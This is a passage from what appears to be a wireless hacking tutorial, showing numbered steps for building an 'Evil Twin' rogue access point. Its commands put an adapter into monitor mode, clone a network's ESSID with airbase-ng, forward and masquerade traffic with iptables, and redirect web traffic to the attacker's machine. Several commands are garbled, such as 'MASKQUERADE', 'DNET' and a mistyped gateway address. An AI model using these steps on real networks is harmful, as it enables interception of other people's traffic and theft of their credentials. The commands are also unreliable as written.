12. Identify the name of your network adapter using this command:
airmon-ng start wlan0
13. Update the OUI (Organizationally Unique Identifier) of your
Airodump-ng program. Here’s the command:
airodump-ng-oui-update
14. Find the ESSID (Extended Service Set Identification), BSSID (the
MAC address of your access point), and the channel that you need to use. The
command that you should use is:
airodump-ng –M mon0
15. Activate the Evil Twin AP using this syntax:
airbase-ng –e [insert ESSID here] –c [insert channel number here] –P mon0
16. The Airbase-ng program created a tunnel interface on your behalf. You
just have to configure this tunnel interface to connect your wired interface and your
“evil” access point. To do this, you must launch a terminal and type the following:
ifconfig [name of tunnel interface] 192.168.1.129 netmask 255.255.255.128
17. Enable internet protocol forwarding through these commands:
route add –net 192.168.1.128 netmask 255.255.255.128 gw 192.186.1.129
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables –table net –append POSTROUTING –out-interface [name of local interface] –j
MASKQUERADE
iptables –append FORWARD –in-interface [name of tunnel interface] –j ACCEPT
iptables –t net –A PREROUTING –p tcp –dport 80 –j DNET –to-destination [LOCALIP
ADDRESS:80]
Précédent

- 84/94

Suivant